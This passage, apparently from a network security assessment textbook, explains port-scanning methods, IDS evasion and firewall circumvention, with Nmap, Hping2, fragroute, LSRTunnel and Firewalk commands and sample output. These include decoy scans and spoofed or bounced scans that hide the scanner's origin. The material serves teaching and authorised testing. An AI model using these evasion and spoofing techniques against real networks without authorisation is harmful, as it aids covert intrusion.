UP:  10.0.1.57:5000 [01]   0.156s
UP:  10.0.1.59:5000 [01]   0.157s
UP:  10.0.1.53:111  [01]   0.182s
Due to the way Scanrand sends a deluge of SYN probes and then listens for positive SYN/ACK responses, the order in which the open ports are displayed will look a little odd. On the positive side, Scanrand is much faster than bulkier scanners, such as Nmap.

Unicornscan (http://www.unicornscan.org) is another tool that performs fast half-open scanning. It has some unique and very useful features, and it is recommended for advanced users.

**Stealth TCP Scanning Methods**

Stealth scanning methods take advantage of idiosyncrasies in certain TCP/IP stack implementations. Such techniques aren’t effective at accurately mapping the open ports of some operating systems, but they do provide a degree of stealth when susceptible platforms are found.

**Inverse TCP flag scanning**

Security mechanisms such as firewalls and IDS usually detect SYN packets being sent to sensitive ports of target hosts. To avoid this detection, we can send probe packets with different TCP flags set.

Using malformed TCP flags to probe a target is known as an inverted technique because responses are sent back only by closed ports. RFC 793 states that if a port is closed on a host, an RST/ACK packet should be sent to reset the connection. To take advantage of this feature, attackers send TCP probe packets with various TCP flags set.

A TCP probe packet is sent to each port of the target host. Three types of probe packet flag configurations are normally used:

- A FIN probe with the FIN TCP flag set
- An XMAS probe with the FIN, URG, and PUSH TCP flags set
- A NULL probe with no TCP flags set

Figures 4-6 and 4-7 depict the probe packets and responses generated by the target host if the target port is found to be open or closed.

![Figure 4-6. An inverse TCP scan result when a port is open](image)
The RFC standard states that if no response is seen from the target port, either the port is open or the server is down. This scanning method isn’t necessarily the most accurate, but it is stealthy; it sends garbage that usually won’t be picked up to each port.

For all closed ports on the target host, RST/ACK packets are received. However, some operating platforms (such as those in the Microsoft Windows family) disregard the RFC 793 standard, so no RST/ACK response is seen when an attempt is made to connect to a closed port. Hence, this technique is effective against some Unix-based platforms.

Tools that perform inverse TCP flag scanning. Nmap can perform an inverse TCP flag port scan, using the following flags: -sF (FIN probe), -sX (XMAS probe), or -sN (NULL probe).

Vscan is another Windows tool you can use to perform inverse TCP flag scanning. The utility doesn’t require installation of WinPcap network drivers; instead it uses raw sockets within Winsock 2 (present in Windows itself). Vscan is available from http://examples.oreilly.com/networksa/tools/vscan.zip.

ACK flag probe scanning

A stealthy technique documented by Uriel Maimon in Phrack Magazine, issue 49, is that of identifying open TCP ports by sending ACK probe packets and analyzing the header information of the RST packets received from the target host. This technique exploits vulnerabilities within the BSD-derived TCP/IP stack and is therefore only effective against certain operating systems and platforms. There are two main ACK scanning techniques:

• Analysis of the time-to-live (TTL) field of received packets
• Analysis of the WINDOW field of received packets

These techniques can also check filtering systems and complicated networks to understand the processes packets go through on the target network. For example, the TTL value can be used as a marker of how many systems the packet has hopped through. The Firewalk filter assessment tool works in a similar fashion, available from http://www.packetfactory.net/projects/firewalk.
**Analysis of the TTL field of received packets.** To analyze the TTL field data of received RST packets, an attacker first sends thousands of crafted ACK packets to different TCP ports, as shown in Figure 4-8.

![Figure 4-8. ACK probe packets are sent to various ports](image)

Here is a log of the first four RST packets received using Hping2:

1. host 192.168.0.12 port 20: F:RST → ttl: 70 win: 0
2. host 192.168.0.12 port 21: F:RST → ttl: 70 win: 0
3. host 192.168.0.12 port 22: F:RST → ttl: 40 win: 0
4. host 192.168.0.12 port 23: F:RST → ttl: 70 win: 0

By analyzing the TTL value of each packet, an attacker can easily see that the value returned by port 22 is 40, whereas the other ports return a value of 70. This suggests that port 22 is open on the target host because the TTL value returned is smaller than the TTL boundary value of 64.

**Analysis of the WINDOW field of received packets.** To analyze the WINDOW field data of received RST packets, an attacker sends thousands of the same crafted ACK packets to different TCP ports (as shown in Figure 4-8). Here is a log of the first four RST packets received, again using Hping2:

1. host 192.168.0.20 port 20: F:RST → ttl: 64 win: 0
2. host 192.168.0.20 port 21: F:RST → ttl: 64 win: 0
3. host 192.168.0.20 port 22: F:RST → ttl: 64 win: 512
4. host 192.168.0.20 port 23: F:RST → ttl: 64 win: 0

Notice that the TTL value for each packet is 64, meaning that TTL analysis of the packets isn’t effective in identifying open ports on this host. However, by analyzing the WINDOW values, the attacker finds that the third packet has a nonzero value, indicating an open port.

The advantage of using ACK flag probe scanning is that detection is difficult (for both IDS and host-based systems, such as personal firewalls). The disadvantage is that this scanning type relies on TCP/IP stack implementation bugs, which are prominent in BSD-derived systems but not in many other modern platforms.

**Tools that perform ACK flag probe scanning.** Nmap supports ACK flag probe scanning, with the `-sA` and `-sW` flags to analyze the TTL and WINDOW values, respectively. See the Nmap manual page for more detailed information.
Hping2 can also sample TTL and WINDOW values, but this can prove highly time-consuming in most cases. The tool is more useful for analyzing low-level responses, as opposed to port scanning in this fashion. Hping2 is available from http://www.hping.org.

Third-Party and Spoofed TCP Scanning Methods

Third-party port scanning methods allow for probes to be effectively bounced through vulnerable servers to hide the true source of the network scanning. An additional benefit of using a third-party technique in this way is that insight into firewall configuration can be gained by potentially bouncing scans through trusted hosts that are vulnerable.

FTP bounce scanning

Hosts running outdated FTP services can relay numerous TCP attacks, including port scanning. There is a flaw in the way many FTP servers handle connections using the PORT command (see RFC 959 or technical description) that allows data to be sent to user-specified hosts and ports. In their default configurations, the FTP services running on the following older Unix-based platforms are affected:

- FreeBSD 2.1.7 and earlier
- HP-UX 10.10 and earlier
- Solaris 2.6 and earlier
- SunOS 4.1.4 and earlier
- SCO OpenServer 5.0.4 and earlier
- SCO UnixWare 2.1 and earlier
- IBM AIX 4.3 and earlier
- Caldera Linux 1.2 and earlier
- Red Hat Linux 4.2 and earlier
- Slackware 3.3 and earlier
- Any Linux distribution running WU-FTP 2.4.2-BETA-16 or earlier

The FTP bounce attack can have a far more devastating effect if a writable directory exists because a series of commands or other data can be entered into a file and then relayed via the PORT command to a specified port of a target host. For example, someone can upload a spam email message to a vulnerable FTP server and then send this email message to the SMTP port of a target mail server. Figure 4-9 shows the parties involved in FTP bounce scanning.

The following occurs when performing an FTP bounce scan:
1. The attacker connects to the FTP control port (TCP port 21) of the vulnerable FTP server that she is going to bounce her attack through and enters passive mode, forcing the FTP server to send data to a specific port of a specific host:

   \texttt{QUOTE \text{PASV}}

   227 Entering Passive Mode (64,12,168,246,56,185).

2. A \texttt{PORT} command is issued, with an argument passed to the FTP service telling it to attempt a connection to a specific TCP port on the target server; for example, TCP port 23 of 144.51.17.230:

   \texttt{PORT 144,51,17,230,0,23}

   200 PORT command successful.

3. After issuing the \texttt{PORT} command, a \texttt{LIST} command is sent. The FTP server then attempts to create a connection with the target host defined in the \texttt{PORT} command issued previously:

   \texttt{LIST}

   150 Opening ASCII mode data connection for file list
   226 Transfer complete.

   If a 226 response is seen, then the port on the target host is open. If, however, a 425 response is seen, the connection has been refused:

   \texttt{LIST}

   425 Can’t build data connection: Connection refused

\textbf{Tools that perform FTP bounce port scanning.} Nmap supports FTP bounce port scanning with the \texttt{-P0} and \texttt{-b} flags used in the following manner:

\texttt{nmap \text{-P0 \text{-b username:password}@ftp-server:port <target host>}}

The \texttt{-P0} flag must be used to suppress pinging of the target host, as it may not be accessible from your location (e.g., if you are bouncing through a multihomed FTP server). Also, you may not want your source IP address to appear in logs at the target site.
Proxy bounce scanning

Attackers bounce TCP attacks through open proxy servers. Depending on the level of poor configuration, the server will sometimes allow a full-blown TCP port scan to be relayed. Using proxy servers to perform bounce port scanning in this fashion is often time-consuming, so many attackers prefer to abuse open proxy servers more efficiently by bouncing actual attacks through to target networks.

`ppscan.c`, a publicly available Unix-based tool to bounce port scans, can be found in source form at:

http://examples.oreilly.com/networksa/tools/ppscan.c

http://www.phreak.org/archives/exploits/unix/network-scanners/ppscan.c

Sniffer-based spoofed scanning

An innovative half-open SYN TCP port scanning method was realized when jsbach published his Unix-based scanner, `spoofscan`, in 1998. The `spoofscan` tool is run as root on a given host to perform a stealthy port scan. The key feature that makes this scanner so innovative is that it places the host network card into promiscuous mode and then sniffs for responses on the local network segment.

The following unique benefits are immediately realized when using a sniffer-based spoofing port scanner:

- If you have administrator access to a machine on the same physical network segment as the target host or a firewall protecting a target host, you can spoof TCP probes from other IP addresses to identify trusted hosts and to gain insight into the firewall policy (by spoofing scans from trusted office hosts, for example). Accurate results will be retrieved because of the background sniffing process, which monitors the local network segment for responses to your spoofed probes.

- If you have access to a large shared network segment, you can spoof scans from hosts you don’t have access to or that don’t exist (such as unused IP addresses within your local network segment), to effectively port scan remote networks in a distributed and stealthy fashion.

The beauty of this method is that the attacker is abusing his access to the local network segment. Such techniques can even be carried out to good effect in switched network environments using ARP redirect spoofing and other techniques. `spoofscan` is available at http://examples.oreilly.com/networksa/tools/spoofscan.c.

IP ID header scanning

IP ID header scanning (also known as *idle* or *dumb* scanning) is an obscure scanning technique that involves abusing implementation peculiarities within the TCP/IP stack of most operating systems. Three hosts are involved:
• The host from which the scan is launched
• The target host that will be scanned
• A zombie or idle host, which is an Internet-based server that is queried with spoofed port scanning against the target host to identify open ports from the perspective of the zombie host

IP ID header scanning is extraordinarily stealthy due to its blind nature. Determined attackers will often use this type of scan to map out IP-based trust relationships between machines, such as firewalls and VPN gateways.

The listing returned by the scan shows open ports from the perspective of the zombie host, so you can try scanning a target using various zombies you think might be trusted (such as hosts at remote offices or DMZ machines). Figure 4-10 depicts the process undertaken during an IP ID header scan.

Figure 4-10. IP ID header scanning and the parties involved

Hping2 was originally used in a manual fashion to perform such low-level TCP scanning, which was time-consuming and tricky to undertake against an entire network of hosts. A white paper that fully discusses using the tool to perform IP ID header scanning by hand is available from http://www.kyuzz.org/antirez/papers/dumbscan.html.

Nmap supports such IP ID header scanning with the option:

```
-sI <zombie host[:probe port]>
```

By default, Nmap uses port 80 to perform this scanning through the zombie host. Example 4-6 shows how Nmap is used to scan 192.168.0.50 through 192.168.0.155.
If Nmap is run without the -P0 flag when performing third-party scanning, the source IP address of the attacker’s host performs ICMP and TCP pinging of the target hosts before starting to scan; this can appear in firewall and IDS audit logs of security-conscious organizations.

Vscan is another Windows tool you can use to perform IP ID header scanning. As discussed earlier, the utility doesn’t require installation of WinPcap network drivers; instead it uses raw sockets within Winsock 2 (present in Windows itself). Vscan is available from http://examples.oreilly.com/networksa/tools/vscan.zip.

Figure 4-11 shows Vscan in use, along with its options and functionality.

**UDP Port Scanning**

Because UDP is a connectionless protocol, there are only two ways to effectively enumerate accessible UDP network services across an IP network:

- Send UDP probe packets to all 65535 UDP ports, then wait for “ICMP destination port unreachable” messages to identify UDP ports that aren’t accessible.
- Use specific UDP service clients (such as `snmpwalk`, `dig`, or `tftp`) to send UDP datagrams to target UDP network services and await a positive response.
UDP Port Scanning

Many security-conscious organizations filter ICMP messages to and from their Internet-based hosts, so it is often difficult to assess which UDP services are accessible via simple port scanning. If “ICMP destination port unreachable” messages can escape the target network, a traditional UDP port scan can be undertaken to identify open UDP ports on target hosts deductively.

Figures 4-12 and 4-13 show the UDP packets and ICMP responses generated by hosts when ports are open and closed.

UDP port scanning is an inverted scanning type in which open ports don’t respond. In particular, the scan looks for “ICMP destination port unreachable” (type 3 code 3) messages from the target host, as shown in Figure 4-13.
Tools That Perform UDP Port Scanning

Nmap supports UDP port scanning with the \(-sU\) option. SuperScan 4 also supports UDP port scanning. However, both tools wait for negative “ICMP destination port unreachable” messages to identify open ports (i.e., those ports that don’t respond). If these ICMP messages are filtered by a firewall as they try to travel out of the target network, the results will be inaccurate.

During a comprehensive audit of Internet-based network space, you should send crafted UDP client packets to popular services and await a positive response. The \texttt{scanudp} utility developed by Fryxar (http://www.geocities.com/fryxar) does this very well. Example 4-7 shows \texttt{scanudp} being run against a Windows 2000 server at 192.168.0.50.

\textit{Example 4-7. Running scanudp}

\begin{verbatim}
$ scanudp
scanudp v2.0 - by: Fryxar
usage: ./scanudp [options] <host>

options:
  -t <timeout>     Set port scanning timeout
  -b <bps>         Set max bandwidth
  -v               Verbose

Supported protocol:
echo daytime chargen dns tftp ntp ns-netbios snmp(ILMI) snmp(public)

$ scanudp 192.168.0.50
192.168.0.50    53
192.168.0.50    137
192.168.0.50    161
\end{verbatim}

IDS Evasion and Filter Circumvention

IDS evasion, when launching any type of IP probe or scan, involves one or both of the following tactics:

- Use of fragmented probe packets that are assembled when they reach the target host
- Use of spoofing to emulate multiple fake hosts launching network scanning probes, in which the real IP address of the scanning host is inserted to collect results

Filtering mechanisms can be circumvented at times using malformed or fragmented packets. However, the common techniques used to bypass packet filters at either the network or system kernel level are as follows:
• Use of source routing
• Use of specific TCP or UDP source ports

First, I'll discuss IDS evasion techniques of fragmenting data and emulating multiple hosts, and then I'll discuss filter circumvention methodologies. These techniques can often be mixed to launch attacks using source routed, fragmented packets to bypass both filters and IDS systems.

### Fragmenting Probe Packets

Probe packets can be fragmented easily with fragroute to fragment all probe packets flowing from your host or network or with a port scanner that supports simple fragmentation, such as Nmap. Many IDS sensors can’t process large volumes of fragmented packets because doing so creates a large overhead in terms of memory and CPU consumption at the network sensor level.

#### Fragtest

Dug Song’s fragtest utility (available as part of the fragroute package from [http://www.monkey.org/~dugsong/fragroute](http://www.monkey.org/~dugsong/fragroute)) can determine exactly which types of fragmented ICMP messages are processed and responded to by the remote host. ICMP echo request messages are used by fragtest for simplicity and allow for easy analysis; the downside is that the tool can’t assess hosts that don’t respond to ICMP messages.

After undertaking ICMP probing exercises (such as ping sweeping and hands-on use of the sing utility) to ensure that ICMP messages are processed and responded to by the remote host, fragtest can perform three particularly useful tests:

- Send an ICMP echo request message in 8-byte fragments (using the frag option)
- Send an ICMP echo request message in 8-byte fragments, along with a 16-byte overlapping fragment, favoring newer data in reassembly (using the frag-new option)
- Send an ICMP echo request message in 8-byte fragments, along with a 16-byte overlapping fragment, favoring older data in reassembly (using the frag-old option)

Here is an example that uses fragtest to assess responses to fragmented ICMP echo request messages with the frag, frag-new, and frag-old options:

```
$ fragtest frag frag-new frag-old www.bbc.co.uk
frag: 467.695 ms
frag-new: 516.327 ms
frag-old: 471.260 ms
```
After ascertaining that fragmented and overlapped packets are indeed processed correctly by the target host and not dropped by firewalls or security mechanisms, a tool such as *fragroute* can be used to fragment all IP traffic destined for the target host.

**Fragroute**

The *fragroute* utility intercepts, modifies, and rewrites egress traffic destined for a specific host, according to a predefined rule set. When built and installed, version 1.2 comprises the following binary and configuration files:

```
/usr/local/sbin/fragtest
/usr/local/sbin/fragroute
/usr/local/etc/fragroute.conf
```

The *fragroute.conf* file defines the way *fragroute* fragments, delays, drops, duplicates, segments, interleaves, and generally mangles outbound IP traffic.

Using the default configuration file, *fragroute* can be run from the command line in the following manner:

```
$ cat /usr/local/etc/fragroute.conf
tcp_seg 1 new
ip_frag 24
ip_chaff dup
order random
print
$ fragroute
Usage: fragroute [-f file] dst
$ fragroute 192.168.102.251
fragroute: tcp_seg -> ip_frag -> ip_chaff -> order -> print
```

Egress traffic processed by *fragroute* is displayed in *tcpdump* format if the print option is used in the configuration file. When running *fragroute* in its default configuration, TCP data is broken down into 1-byte segments and IP data into 24-byte segments, along with IP chaffing and random reordering of the outbound packets.

**fragroute.conf.** The *fragroute* man page covers all the variables that can be set within the configuration file. The type of IP fragmentation and reordering used by *fragtest* when using the *frag-new* option can be applied to all outbound IP traffic destined for a specific host by defining the following variables in the *fragroute.conf* file:

```
ip_frag 8 old
order random
print
```

TCP data can be segmented into 4-byte, forward-overlapping chunks (favoring newer data), interleaved with random chaff segments bearing older timestamp options (for PAWS elimination), and reordered randomly using these *fragroute.conf* variables:
tcp_seg 4 new
tcp_chaff paws
order random
print

I recommend testing the variables used by fragroute in a controlled environment before live networks and systems are tested. This ensures that you see decent results when passing probes through fragroute and allows you to check for adverse reactions to fragmented traffic being processed. Applications and hardware appliances alike have been known to crash and hang from processing heavily fragmented and mangled data!

**Nmap**

Nmap can fragment probe packets when launching half-open SYN or inverse TCP scanning types. The TCP header itself is split over several packets to make it more difficult for packet filters and IDS systems to detect the port scan. While most firewalls in high-security environments queue all the IP fragments before processing them, some networks disable this functionality because of the performance hit incurred. Example 4-8 shows Nmap being run to perform a fragment half-open SYN TCP scan.

*Example 4-8. Using Nmap to perform a fragmented SYN scan*

```
$ nmap -sS -f 192.168.102.251
Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 23:25 UTC
Interesting ports on cartman (192.168.102.251):
(The 1524 ports scanned but not shown below are in state: closed)
Port       State       Service
25/tcp     open        smtp
53/tcp     open        domain
8080/tcp   open        http-proxy
```

**Emulating Multiple Attacking Hosts**

By emulating a large number of attacking hosts all launching probes and port scans against a target network, IDS alert and logging systems will effectively be rendered useless. Nmap allows for decoy hosts to be defined so that a target host can be scanned from a plethora of spoofed addresses (thus obscuring your own IP address).

The flag that defines decoy addresses within Nmap is `-D decoy1,Mi,decoy2,decoyX`. Example 4-9 shows Nmap being used in this fashion to scan 192.168.102.251.
Notice that the -P0 flag is also specified. When performing any kind of stealth attack it is important that even initial probing (in the case of Nmap, an ICMP echo request and attempted connection to TCP port 80) isn’t undertaken, because it will reveal the true source of the attack in many cases.

**Source Routing**

Source routing is a feature traditionally used for network troubleshooting purposes. Tools such as `traceroute` can be provided with details of gateways that the packet should be loosely or strictly routed through so that specific routing paths can be tested. Source routing allows you to specify which gateways and routes your packets should take, instead of allowing routers and gateways to query their own routing tables to determine the next hop.

Source routing information is provided as an IP options field in the packet header, as shown in Figure 4-14.

![Figure 4-14. IP datagram format](image)

The format of the IP option data within a source-routed packet is quite simple. The first three bytes are reserved for IP option code, length, and pointer. Because IP option data can be used for different functionality (timestamp, strict routing, route, and record), the code field specifies the option type. The length field, oddly enough,
states the size of the optional data, which can’t be larger than 40. Finally, the offset pointer field points to the current IP address in the remaining data section, which is rewritten as the packet traverses the Internet. Figure 4-15 shows the offset pointer in action.

There are two types of source routing, both defined in RFC 791:

- **Strict Source and Route Record (SSRR)**
- **Loose Source and Route Record (LSRR)**

Loose source routing allows the packet to use any number of intermediate gateways to reach the next address in the route. Strict source routing requires the next address in the source route to be on a directly connected network; if not, the delivery of the packet can’t be completed.

The source route options have a variable length, containing a series of IP addresses and an offset pointer indicating the next IP address to be processed. A source-routed datagram completes its delivery when the offset pointer points beyond the last field and the address in the destination address has been reached.

There is a limit of 40 characters for the router data within the IP options field. With 3 bytes used for the header information and 4 bytes committed for the final host address, there remain only 33 bytes to define loose hops, so 8 IP addresses can be defined in the list of hops (not counting the final destination host).

Source routing vulnerabilities can be exploited by:

- Reversing the source route
- Circumventing filters and gaining access to internal hosts

If a firewall or gateway reverses the source routing information when sending packets back, you can sniff traffic at one of the hops you defined. In a similar fashion to using sniffer-based spoofed scanning, you can launch scans and probes from potentially trusted hosts (e.g., branch office firewalls) and acquire accurate results.
In the case of Microsoft Windows NT hosts, the circumvention of filters involves manipulating the source routing options information to have an offset pointer set greater than the length of the list of hops and defining an internal host as the last hop (which is then reversed, sending the packet to the internal host). This vulnerability is listed in MITRE CVE (http://cve.mitre.org) as CVE-1999-0909.

A second source routing vulnerability (CVE-2006-2379) exists in the Windows TCP/IP driver for Windows 2003 SP1, Windows 2000 SP4, and Windows XP SP2 and earlier, which results in remote arbitrary code execution. Windows 2003 and XP are secure by default, as source routing support is disabled. At this time, however, there are no public exploit scripts available, although a simple DoS script can be found at http://www.milw0rm.com/exploits/1967.

Assessing source routing vulnerabilities

Todd MacDermid of Syn Ack Labs (http://www.synacklabs.net) has written two excellent tools that can assess and exploit source routing vulnerabilities found in remote networks:

   LSRScan (http://www.synacklabs.net/projects/lsrscan)
   LSR Tunnel (http://www.synacklabs.net/projects/lsrtunnel)

Both tools require libpcap and libdnet to build, and they run quite smoothly in Linux and BSD environments. A white paper written by Todd that explains source routing problems in some detail is available from http://www.synacklabs.net/OOB/LSR.html. LSR attack mileage varies nowadays, as most ISPs drop LSR traffic, and so it does not usually traverse the Internet.

**LSRScan.** The LSRScan tool crafts probe packets with specific source routing options to determine exactly how remote hosts deal with source-routed packets. The tool checks for the following two behaviors:

- Whether the target host reverses the source route when sending packets back
- Whether the target host can forward source-routed packets to an internal host, by setting the offset pointer to be greater than the number of hops defined in the loose hop list

The basic usage of the tool is as follows:

```
$ lsrscan
usage: lsrscan [-p dstport] [-s srcport] [-S ip]
   [-t (to|through|both)] [-b host<:host ...>]
   [-a host<:host ...>] <hosts>
```

Some operating systems will reverse source-routed traffic only to ports that are open, so LSRScan should be run against an open port. By default, LSRScan uses a destination port of 80. The source port and source IP addresses aren’t necessary (LSRScan selects a random source port and IP address), but they can be useful in some cases.
The -b option inserts IP addresses of hops before the user’s host in the source route list, and the -a option inserts specific IP addresses after the user’s host in the list (although those hosts must support source route forwarding for the scan to be effective). For more information about the flags and options that can be parsed, consult the LSRScan man page. Example 4-10 shows LSRScan being run against a network block to identify hosts with source routing problems.

Example 4-10. Using LSRScan to identify source routing issues

$ lsrsclan 217.53.62.0/24
217.53.62.0 does not reverse LSR traffic to it
217.53.62.0 does not forward LSR traffic through it
217.53.62.1 reverses LSR traffic to it
217.53.62.1 forwards LSR traffic through it
217.53.62.2 reverses LSR traffic to it
217.53.62.2 does not forward LSR traffic through it

Because some systems reverse the source route, spoofing attacks using LSRTunnel can be performed. Knowing that systems forward source-routed traffic, accurate details of internal IP addresses have to be determined so that port scans can be launched through frargroute to internal space.

LSRTunnel. LSRTunnel spoofs connections using source-routed packets. For the tool to work, the target host must reverse the source route (otherwise the user will not see the responses and be able to spoof a full TCP connection). LSRTunnel requires a spare IP address on the local subnet to use as a proxy for the remote host.

Running LSRTunnel with no options shows the usage syntax:

$ lsrtunnel
usage: lsrtunnel -i <proxy IP> -t <target IP> -f <spoofed IP>

The proxy IP is an unused network address an attacker uses to proxy connections between her host and the target address. The spoofed IP address is the host that appears as the originator of the connection. For additional details, consult the LSRTunnel manual page.

In this example of LSRTunnel, 192.168.102.2 is on the same local subnet as the host:

$ lsrtunnel -i 192.168.102.2 -t 217.53.62.2 -f 198.81.129.194

At this point, LSRTunnel listens for traffic on the proxy IP (192.168.102.2). Using another system on the network, any scan or attack traffic sent to the proxy IP is forwarded to the target (217.53.62.2) and rewritten to appear as if it originated from relay2.ucia.gov (198.81.129.194).
Using Specific Source Ports to Bypass Filtering

When using a tool such as Nmap to perform either UDP or TCP port scanning of hosts, it is important to assess responses using specific source ports. Here are four source ports you should use along with UDP, half-open SYN, and inverse FIN scan types:

- TCP or UDP port 53 (DNS)
- TCP port 20 (FTP data)
- TCP port 80 (HTTP)
- TCP or UDP port 88 (Kerberos)

Nmap can be run with the `-g <port>` flag to provide a source port when performing TCP or UDP port scanning.

Using specific source ports, attackers can take advantage of firewall configuration issues and bypass filtering. UDP port 53 (DNS) is a good candidate when circumventing stateless packet filters because machines inside the network have to communicate with external DNS servers, which in turn respond using UDP port 53. Typically, a rule is put in place allowing traffic from UDP port 53 to destination port 53 or anything above 1024 on the internal client machine. Useful source ports to run scans from are TCP 20 (FTP data), UDP 53 (DNS), and UDP 500 (ISAKMP).

Check Point Firewall-1, Cisco PIX, and other stateful firewalls aren’t vulnerable to these issues (unless grossly misconfigured) because they maintain a state table and allow traffic back into the network only if a relative outbound connection or request has been initiated.

An inverse FIN scan should be attempted when scanning the HTTP service port because a Check Point Firewall-1 option known as fastmode is sometimes enabled for web traffic in high throughput environments (to limit use of firewall processing resources). For specific information regarding circumvention of Firewall-1 in certain configurations, consult the excellent presentation from Black Hat Briefings 2000 by Thomas Lopatic et al. titled “A Stateful Inspection of Firewall-1” (available as a Real Media video stream and PowerPoint presentation from [http://www.blackhat.com/html/bh-usa-00/bh-usa-00-speakers.html](http://www.blackhat.com/html/bh-usa-00/bh-usa-00-speakers.html)).

On Windows 2000 and other Microsoft platforms that can run IPsec, a handful of default exemptions to the IPsec filter exist, including one that allows Kerberos (source TCP or UDP port 88) traffic into the host if the filter is enabled. These default exemptions are removed in Windows Server 2003, but they still pose a problem in some environments that rely on filtering at the operating system kernel level.
Low-Level IP Assessment

Tools such as Nmap, Hping2, and Firewalk perform low-level IP assessment. Sometimes holes exist to allow certain TCP services through the firewall, but the expected service isn’t running on the target host. Such low-level network details are useful to know, especially in sensitive environments (e.g., online banking environments), because very small holes in network integrity can sometimes be abused along with larger problems to gain or retain access to target hosts.

Insight into the following areas of a network can be gleaned through low-level IP assessment:

- Uptime of target hosts (by analyzing the TCP timestamp option)
- TCP services that are permitted through the firewall (by analyzing responses to TCP and ICMP probes)
- TCP sequence and IP ID incrementation (by running predictability tests)
- The operating system of the target host (using IP fingerprinting)

Nmap automatically attempts to calculate target host uptime information by analyzing the TCP timestamp option values of packets received. The TCP timestamp option is defined in RFC 1323; however, many platforms don’t adhere to RFC 1323. This feature often gives accurate results against Linux operating systems and others such as FreeBSD, but your mileage may vary.

Analyzing Responses to TCP Probes

A TCP probe always results in one of four responses. These responses potentially allow an analyst to identify where a connection was accepted, or why and where it was rejected, dropped, or lost:

TCP SYN/ACK
    If a SYN/ACK packet is received, the port is considered open.

TCP RST/ACK
    If an RST/ACK packet is received, the probe packet was rejected by either the target host or an upstream security device (e.g., a firewall with a reject rule in its policy).

ICMP type 3 code 13
    If an ICMP type 3 code 13 message is received, the host (or a device such as a firewall) has administratively prohibited the connection according to an Access Control List (ACL) rule.

Nothing
    If no packet is received, an intermediary security device silently dropped it.
Nmap returns details of ports that are open, closed, filtered, and unfiltered in line with this list. The unfiltered state is reported by Nmap from time to time, depending on the number of filtered ports found. If some ports don’t respond, but others respond with RST/ACK, the responsive ports are considered unfiltered (because the packet is allowed through the filter but the associated service isn’t running on the target host).

Hping2 can be used on a port-by-port basis to perform low-level analysis of responses to crafted TCP packets that are sent to destination network ports of remote hosts. Another useful tool is Firewalk, which performs filter analysis by sending UDP or TCP packets with specific TTL values. These unique features of Hping2 and Firewalk are discussed next.

**Hping2**

Hping2 allows you to craft and send TCP packets to remote hosts with specific flags and options set. By analyzing responses at a low level, it is often possible to gain insight into the filter configuration at the network level. The tool is complex to use and has many possible options. Table 4-1 lists the most useful flags for performing low-level TCP assessment.

Here’s a best-practice use of Hping2 to assess a specific TCP port:

```bash
$ hping2 -c 3 -s 53 -p 139 -S 192.168.0.1
```

In this example, a total of three TCP SYN packets are sent to port 139 on 192.168.0.1 using the source port 53 of the host (some firewalls ship with a configuration that allows DNS traffic through the filter with an any-any rule, so it is sometimes fruitful to use a source port of 53).

Following are four examples of Hping2 that generate responses in line with the four states discussed previously (open, closed, blocked, or dropped).

---

**Table 4-1. Hping2 options**

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-c &lt;number&gt;</td>
<td>Send a specific number of probe packets</td>
</tr>
<tr>
<td>-s &lt;port&gt;</td>
<td>Source TCP port (random by default)</td>
</tr>
<tr>
<td>-d &lt;port&gt;</td>
<td>Destination TCP port</td>
</tr>
<tr>
<td>-S</td>
<td>Set the TCP SYN flag</td>
</tr>
<tr>
<td>-F</td>
<td>Set the TCP FIN flag</td>
</tr>
<tr>
<td>-A</td>
<td>Set the TCP ACK flag</td>
</tr>
</tbody>
</table>

---
TCP port 80 is open:

$ hping2 -c 3 -s 53 -p 80 -S google.com
HPING google.com (eth0 216.239.39.99): S set, 40 headers + 0 data
ip=216.239.39.99 ttl=128 id=289 sport=80 flags=SAP seq=0 win=64240
ip=216.239.39.99 ttl=128 id=290 sport=80 flags=SAP seq=1 win=64240
ip=216.239.39.99 ttl=128 id=291 sport=80 flags=SAP seq=2 win=64240

TCP port 139 is closed or access to the port is rejected by a firewall:

$ hping2 -c 3 -s 53 -p 139 -S 192.168.0.1
HPING 192.168.0.1 (eth0 192.168.0.1): S set, 40 headers + 0 data
ip=192.168.0.1 ttl=128 id=283 sport=139 flags=R seq=0 win=64240
ip=192.168.0.1 ttl=128 id=284 sport=139 flags=R seq=1 win=64240
ip=192.168.0.1 ttl=128 id=285 sport=139 flags=R seq=2 win=64240

TCP port 23 is blocked by a router ACL:

$ hping2 -c 3 -s 53 -p 23 -S gw.example.org
HPING gw (eth0 192.168.0.254): S set, 40 headers + 0 data
ICMP unreachable type 13 from 192.168.0.254
ICMP unreachable type 13 from 192.168.0.254
ICMP unreachable type 13 from 192.168.0.254

TCP probe packets are dropped in transit:

$ hping2 -c 3 -s 53 -p 80 -S 192.168.10.10
HPING 192.168.10.10 (eth0 192.168.10.10): S set, 40 headers + 0 data

Firewalk

Mike Schiffman and Dave Goldsmith’s Firewalk utility (version 5.0 at the time of writing) allows assessment of firewalls and packet filters by sending IP packets with TTL values set to expire one hop past a given gateway. Three simple states allow you to determine if a packet has passed through the firewall or not:

- If an ICMP type 11 code 0 (“TTL exceeded in transit”) message is received, the packet passed through the filter and a response was later generated.
- If the packet is dropped without comment, it was probably done at the gateway.
- If an ICMP type 3 code 13 (“Communication administratively prohibited”) message is received, a simple filter such as a router ACL is being used.

If the packet is dropped without comment, this doesn’t necessarily mean that traffic to the target host and port is filtered. Some firewalls know that the packet is due to expire and will send the “expired” message whether the policy allows the packet or not.

Firewalk works effectively against hosts in true IP routed environments, as opposed to hosts behind firewalls using network address translation (NAT). I recommend reading the Firewalk white paper written by Mike Schiffman and Dave Goldsmith, available from http://www.packetfactory.net/projects/firewalk/firewalk-final.pdf.
Example 4-11 shows Firewalk being run against a host to assess filters in place for a selection of TCP ports (21, 22, 23, 25, 53, and 80). The utility requires two IP addresses: the gateway (gw.test.org in this example) and the target (www.test.org in this example) that is behind the gateway.

Example 4-11. Using Firewalk to assess network filtering

$ firewalk -n -521,22,23,25,53,80 -pTCP gw.test.org www.test.org
Firewalk 5.0 [gateway ACL scanner]
Firewalk state initialization completed successfully.
TCP-based scan.
Ramping phase source port: 53, destination port: 33434
Hotfoot through 217.41.132.201 using 217.41.132.161 as a metric.
Ramping Phase:
1 (TTL 1): expired [192.168.102.254]
2 (TTL 2): expired [212.38.177.41]
3 (TTL 3): expired [217.41.132.201]
Binding host reached.
Scan bound at 4 hops.
Scanning Phase:
port 21: A! open (port listen) [217.41.132.161]
